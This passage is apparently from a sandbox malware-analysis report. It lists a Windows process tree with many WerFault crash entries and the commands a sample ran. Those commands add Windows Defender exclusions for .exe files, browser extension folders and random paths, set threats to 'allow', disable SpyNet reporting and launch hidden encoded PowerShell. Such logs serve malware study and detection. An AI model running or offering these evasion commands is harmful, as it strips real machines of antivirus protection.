- Program crash
PID:5728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2116
4⤵
- Program crash
PID:4336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2148
4⤵
- Program crash
PID:4248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2024
4⤵
- Program crash
PID:4956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1844
4⤵
- Program crash
PID:5176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1316
4⤵
- Program crash
PID:4272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1552
4⤵
- Program crash
PID:1980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1836
4⤵
- Program crash
PID:4076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2000
4⤵
- Program crash
PID:2972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 140
4⤵
- Program crash
PID:5640

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" pause ImageComparer45
3⤵
PID:5348

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 pause ImageComparer45
4⤵
PID:5796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5772 -ip 5772
1⤵
PID:2740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5772 -ip 5772
1⤵
PID:864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5772 -ip 5772
1⤵
PID:3764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5772 -ip 5772
1⤵
PID:3100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 4748 -ip 4748
1⤵
PID:1684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4748 -ip 4748
1⤵
PID:5136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4748 -ip 4748
1⤵
PID:4696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4748 -ip 4748
1⤵
PID:1440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4748 -ip 4748
1⤵
PID:3100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4748 -ip 4748
1⤵
PID:3876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4748 -ip 4748
1⤵
PID:5972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4748 -ip 4748
1⤵
PID:5588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4748 -ip 4748
1⤵
PID:452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 4748 -ip 4748
1⤵
PID:4056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4748 -ip 4748
1⤵
PID:2712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4748 -ip 4748
1⤵
PID:1556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 4748 -ip 4748
1⤵
PID:5864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4748 -ip 4748
1⤵
PID:1144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4748 -ip 4748
1⤵
PID:5772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4748 -ip 4748
1⤵
PID:6028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4748 -ip 4748
1⤵
PID:1556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4748 -ip 4748
1⤵
PID:1636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4748 -ip 4748
1⤵
PID:5836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4748 -ip 4748
1⤵
PID:1636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4748 -ip 4748
1⤵
PID:5644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4748 -ip 4748
1⤵
PID:4260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4748 -ip 4748
1⤵
PID:4236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4748 -ip 4748
1⤵
PID:5648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4748 -ip 4748
1⤵
PID:1472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4748 -ip 4748
1⤵
PID:2712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4748 -ip 4748
1⤵
PID:4536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4748 -ip 4748
1⤵
PID:5644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4748 -ip 4748
1⤵
PID:5248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4748 -ip 4748
1⤵
PID:3488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4748 -ip 4748
1⤵
PID:2032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4748 -ip 4748
1⤵
PID:5968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4748 -ip 4748
1⤵
PID:6088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 4748 -ip 4748
1⤵
PID:2236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4748 -ip 4748
1⤵
PID:540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4748 -ip 4748
1⤵
PID:5940

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 helpmsg 10
1⤵
PID:4248

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
2⤵
PID:2212

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
3⤵
PID:5480

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
3⤵
PID:4520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 pause Erkalo46
1⤵
PID:5536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 4748 -ip 4748
1⤵
PID:5316

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
1⤵
PID:1128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4748 -ip 4748
1⤵
PID:2308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4748 -ip 4748
1⤵
PID:748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4748 -ip 4748
1⤵
PID:5176

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:1928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4748 -ip 4748
1⤵
PID:4056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4748 -ip 4748
1⤵
PID:1792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4748 -ip 4748
1⤵
PID:3980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4748 -ip 4748
1⤵
PID:4876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4748 -ip 4748
1⤵
PID:2040

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4748 -ip 4748
1⤵
PID:4072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4748 -ip 4748
1⤵
PID:4608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4748 -ip 4748
1⤵
PID:2112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4748 -ip 4748
1⤵
PID:1264

C:\Users\Admin\AppData\Local\Temp\iuFLplCWxXXtgEsyg\YFeOtscHiIuELlZ\ALDypZy.exe
C:\Users\Admin\AppData\Local\Temp\iuFLplCWxXXtgEsyg\YFeOtscHiIuELlZ\ALDypZy.exe 4N /site_id 690689 /S
1⤵
PID:2776

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
2⤵
PID:1432

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
PID:3080

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:1336

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:3000

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:4252

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:5716

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:3000

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:5236

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:3920

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:6024

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:6028

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:5224

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:3080

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:5500

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:5224

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:3472

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:3920

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:3092

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:5224

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:6028

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:5760

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:3920

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:1736

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:5716

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:3484

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:2584

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
3⤵
PID:3472

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
3⤵
PID:1940

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
3⤵
PID:1088

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
3⤵
PID:3752

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BFSKmjPPU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BFSKmjPPU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UOZzlXLQFzOU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UOZzlXLQFzOU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fVOjzNJnrpzVEBSlwdR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fVOjzNJnrpzVEBSlwdR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\soPbJSnyYpUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\soPbJSnyYpUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tYpmsAfMhZJjC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tYpmsAfMhZJjC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\LyiCYymMZpGaxkVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\LyiCYymMZpGaxkVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\iuFLplCWxXXtgEsyg\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\iuFLplCWxXXtgEsyg\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\abwkRiEBwNRzQKfS\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\abwkRiEBwNRzQKfS\" /t REG_DWORD /d 0 /reg:64;"
2⤵
PID:6024

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BFSKmjPPU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4384

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BFSKmjPPU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4752

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BFSKmjPPU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2800

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UOZzlXLQFzOU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:5536

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UOZzlXLQFzOU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2280

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fVOjzNJnrpzVEBSlwdR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:5812

C:\Windows\SysWOW64\reg.exe
